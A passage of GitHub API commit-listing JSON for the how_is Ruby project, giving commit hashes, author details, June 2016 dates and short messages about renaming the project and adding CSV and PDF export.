report.","tree":{"sha":"dd20f1d69405ce1ed80d7680de4a6d604c649ceb","url":"https://api.github.com/repos/how-is/how_is/git/trees/dd20f1d69405ce1ed80d7680de4a6d604c649ceb"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/70b47a4977344a436c8851f1120db53aa3d2aa35","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/70b47a4977344a436c8851f1120db53aa3d2aa35","html_url":"https://github.com/how-is/how_is/commit/70b47a4977344a436c8851f1120db53aa3d2aa35","comments_url":"https://api.github.com/repos/how-is/how_is/commits/70b47a4977344a436c8851f1120db53aa3d2aa35/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"76052592f644c647e3bc40b28538fb65568fd658","url":"https://api.github.com/repos/how-is/how_is/commits/76052592f644c647e3bc40b28538fb65568fd658","html_url":"https://github.com/how-is/how_is/commit/76052592f644c647e3bc40b28538fb65568fd658"}]},{"sha":"76052592f644c647e3bc40b28538fb65568fd658","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzYwNTI1OTJmNjQ0YzY0N2UzYmM0MGIyODUzOGZiNjU1NjhmZDY1OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:43:45Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:43:45Z"},"message":"Rename to how_is.","tree":{"sha":"a0913a13d2e057c3f8e76803e7af69140924a180","url":"https://api.github.com/repos/how-is/how_is/git/trees/a0913a13d2e057c3f8e76803e7af69140924a180"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/76052592f644c647e3bc40b28538fb65568fd658","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/76052592f644c647e3bc40b28538fb65568fd658","html_url":"https://github.com/how-is/how_is/commit/76052592f644c647e3bc40b28538fb65568fd658","comments_url":"https://api.github.com/repos/how-is/how_is/commits/76052592f644c647e3bc40b28538fb65568fd658/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c086f602a4ac4fb357eb21a68c1f09442bd81344","url":"https://api.github.com/repos/how-is/how_is/commits/c086f602a4ac4fb357eb21a68c1f09442bd81344","html_url":"https://github.com/how-is/how_is/commit/c086f602a4ac4fb357eb21a68c1f09442bd81344"}]},{"sha":"c086f602a4ac4fb357eb21a68c1f09442bd81344","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzA4NmY2MDJhNGFjNGZiMzU3ZWIyMWE2OGMxZjA5NDQyYmQ4MTM0NA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:35:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:35:25Z"},"message":"~~~formatting~~~","tree":{"sha":"1d6cd70bc94bb29aa6a1ada6155dc03499ba5104","url":"https://api.github.com/repos/how-is/how_is/git/trees/1d6cd70bc94bb29aa6a1ada6155dc03499ba5104"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c086f602a4ac4fb357eb21a68c1f09442bd81344","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c086f602a4ac4fb357eb21a68c1f09442bd81344","html_url":"https://github.com/how-is/how_is/commit/c086f602a4ac4fb357eb21a68c1f09442bd81344","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c086f602a4ac4fb357eb21a68c1f09442bd81344/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"40ff0f2ceda02ee7b78828ba52ea73a79eb42f72","url":"https://api.github.com/repos/how-is/how_is/commits/40ff0f2ceda02ee7b78828ba52ea73a79eb42f72","html_url":"https://github.com/how-is/how_is/commit/40ff0f2ceda02ee7b78828ba52ea73a79eb42f72"}]},{"sha":"40ff0f2ceda02ee7b78828ba52ea73a79eb42f72","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDBmZjBmMmNlZGEwMmVlN2I3ODgyOGJhNTJlYTczYTc5ZWI0MmY3Mg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:13:23Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-04T01:13:23Z"},"message":"Make table actually work.","tree":{"sha":"2fa3b2c5b56ddfc7f05e5fef372c38ab48430d31","url":"https://api.github.com/repos/how-is/how_is/git/trees/2fa3b2c5b56ddfc7f05e5fef372c38ab48430d31"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/40ff0f2ceda02ee7b78828ba52ea73a79eb42f72","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/40ff0f2ceda02ee7b78828ba52ea73a79eb42f72","html_url":"https://github.com/how-is/how_is/commit/40ff0f2ceda02ee7b78828ba52ea73a79eb42f72","comments_url":"https://api.github.com/repos/how-is/how_is/commits/40ff0f2ceda02ee7b78828ba52ea73a79eb42f72/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"77b4e00f13e21046a55c912a024f8f2a1037d8c8","url":"https://api.github.com/repos/how-is/how_is/commits/77b4e00f13e21046a55c912a024f8f2a1037d8c8","html_url":"https://github.com/how-is/how_is/commit/77b4e00f13e21046a55c912a024f8f2a1037d8c8"}]},{"sha":"77b4e00f13e21046a55c912a024f8f2a1037d8c8","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NzdiNGUwMGYxM2UyMTA0NmE1NWM5MTJhMDI0ZjhmMmExMDM3ZDhjOA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T23:40:15Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T23:40:15Z"},"message":"~tables~","tree":{"sha":"f961d0802cbc0a37c1bef8d1474c08876f9ac116","url":"https://api.github.com/repos/how-is/how_is/git/trees/f961d0802cbc0a37c1bef8d1474c08876f9ac116"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/77b4e00f13e21046a55c912a024f8f2a1037d8c8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/77b4e00f13e21046a55c912a024f8f2a1037d8c8","html_url":"https://github.com/how-is/how_is/commit/77b4e00f13e21046a55c912a024f8f2a1037d8c8","comments_url":"https://api.github.com/repos/how-is/how_is/commits/77b4e00f13e21046a55c912a024f8f2a1037d8c8/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ec2718cb176cfac218380834ca9306f5cabee351","url":"https://api.github.com/repos/how-is/how_is/commits/ec2718cb176cfac218380834ca9306f5cabee351","html_url":"https://github.com/how-is/how_is/commit/ec2718cb176cfac218380834ca9306f5cabee351"}]},{"sha":"ec2718cb176cfac218380834ca9306f5cabee351","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWMyNzE4Y2IxNzZjZmFjMjE4MzgwODM0Y2E5MzA2ZjVjYWJlZTM1MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T23:21:32Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T23:21:32Z"},"message":"Format dates for oldest issue/PR.","tree":{"sha":"ee3449e50d55d8f66f20eacc35211ebf343b5b8b","url":"https://api.github.com/repos/how-is/how_is/git/trees/ee3449e50d55d8f66f20eacc35211ebf343b5b8b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ec2718cb176cfac218380834ca9306f5cabee351","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ec2718cb176cfac218380834ca9306f5cabee351","html_url":"https://github.com/how-is/how_is/commit/ec2718cb176cfac218380834ca9306f5cabee351","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ec2718cb176cfac218380834ca9306f5cabee351/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"c294be4406853a9aea8f033a389f5d43404214f2","url":"https://api.github.com/repos/how-is/how_is/commits/c294be4406853a9aea8f033a389f5d43404214f2","html_url":"https://github.com/how-is/how_is/commit/c294be4406853a9aea8f033a389f5d43404214f2"}]},{"sha":"c294be4406853a9aea8f033a389f5d43404214f2","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YzI5NGJlNDQwNjg1M2E5YWVhOGYwMzNhMzg5ZjVkNDM0MDQyMTRmMg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T23:14:14Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T23:14:14Z"},"message":"Beginnings of PDF export.","tree":{"sha":"940a6c5a301d7efa3039f09c0e4ab034526b9ef9","url":"https://api.github.com/repos/how-is/how_is/git/trees/940a6c5a301d7efa3039f09c0e4ab034526b9ef9"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/c294be4406853a9aea8f033a389f5d43404214f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/c294be4406853a9aea8f033a389f5d43404214f2","html_url":"https://github.com/how-is/how_is/commit/c294be4406853a9aea8f033a389f5d43404214f2","comments_url":"https://api.github.com/repos/how-is/how_is/commits/c294be4406853a9aea8f033a389f5d43404214f2/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6536006afc74baf848a9e79e1bf878aca1e182ba","url":"https://api.github.com/repos/how-is/how_is/commits/6536006afc74baf848a9e79e1bf878aca1e182ba","html_url":"https://github.com/how-is/how_is/commit/6536006afc74baf848a9e79e1bf878aca1e182ba"}]},{"sha":"6536006afc74baf848a9e79e1bf878aca1e182ba","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NjUzNjAwNmFmYzc0YmFmODQ4YTllNzllMWJmODc4YWNhMWUxODJiYQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:29:57Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:29:57Z"},"message":"Clean up Analyzer.","tree":{"sha":"b584b00c35d4d6f07b74b7eaee542d6e3a55e160","url":"https://api.github.com/repos/how-is/how_is/git/trees/b584b00c35d4d6f07b74b7eaee542d6e3a55e160"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6536006afc74baf848a9e79e1bf878aca1e182ba","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6536006afc74baf848a9e79e1bf878aca1e182ba","html_url":"https://github.com/how-is/how_is/commit/6536006afc74baf848a9e79e1bf878aca1e182ba","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6536006afc74baf848a9e79e1bf878aca1e182ba/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"85b9251c6597760ea57f4ff2c23bcbae67f31f5a","url":"https://api.github.com/repos/how-is/how_is/commits/85b9251c6597760ea57f4ff2c23bcbae67f31f5a","html_url":"https://github.com/how-is/how_is/commit/85b9251c6597760ea57f4ff2c23bcbae67f31f5a"}]},{"sha":"85b9251c6597760ea57f4ff2c23bcbae67f31f5a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODViOTI1MWM2NTk3NzYwZWE1N2Y0ZmYyYzIzYmNiYWU2N2YzMWY1YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:28:07Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:28:07Z"},"message":"Implement CSV exports.","tree":{"sha":"0c19d2609ddbd779fa58964695cd968eb7af61b6","url":"https://api.github.com/repos/how-is/how_is/git/trees/0c19d2609ddbd779fa58964695cd968eb7af61b6"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/85b9251c6597760ea57f4ff2c23bcbae67f31f5a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/85b9251c6597760ea57f4ff2c23bcbae67f31f5a","html_url":"https://github.com/how-is/how_is/commit/85b9251c6597760ea57f4ff2c23bcbae67f31f5a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/85b9251c6597760ea57f4ff2c23bcbae67f31f5a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"bf24b24a86337b9a09d137e6e2e9e41ead54fa77","url":"https://api.github.com/repos/how-is/how_is/commits/bf24b24a86337b9a09d137e6e2e9e41ead54fa77","html_url":"https://github.com/how-is/how_is/commit/bf24b24a86337b9a09d137e6e2e9e41ead54fa77"}]},{"sha":"bf24b24a86337b9a09d137e6e2e9e41ead54fa77","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6YmYyNGIyNGE4NjMzN2I5YTA5ZDEzN2U2ZTJlOWU0MWVhZDU0ZmE3Nw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:20:12Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:20:12Z"},"message":"Call export! in exe/how_bad.","tree":{"sha":"26b1d0cf3f2696963287e52a0c71dc7b7eeb0f21","url":"https://api.github.com/repos/how-is/how_is/git/trees/26b1d0cf3f2696963287e52a0c71dc7b7eeb0f21"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/bf24b24a86337b9a09d137e6e2e9e41ead54fa77","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/bf24b24a86337b9a09d137e6e2e9e41ead54fa77","html_url":"https://github.com/how-is/how_is/commit/bf24b24a86337b9a09d137e6e2e9e41ead54fa77","comments_url":"https://api.github.com/repos/how-is/how_is/commits/bf24b24a86337b9a09d137e6e2e9e41ead54fa77/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"2ca63ee8593e6266ee10afbc36d4d68b56565bdc","url":"https://api.github.com/repos/how-is/how_is/commits/2ca63ee8593e6266ee10afbc36d4d68b56565bdc","html_url":"https://github.com/how-is/how_is/commit/2ca63ee8593e6266ee10afbc36d4d68b56565bdc"}]},{"sha":"2ca63ee8593e6266ee10afbc36d4d68b56565bdc","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MmNhNjNlZTg1OTNlNjI2NmVlMTBhZmJjMzZkNGQ2OGI1NjU2NWJkYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:19:25Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2016-06-03T22:19:25Z"},"message":"Give a specific error instead of printing 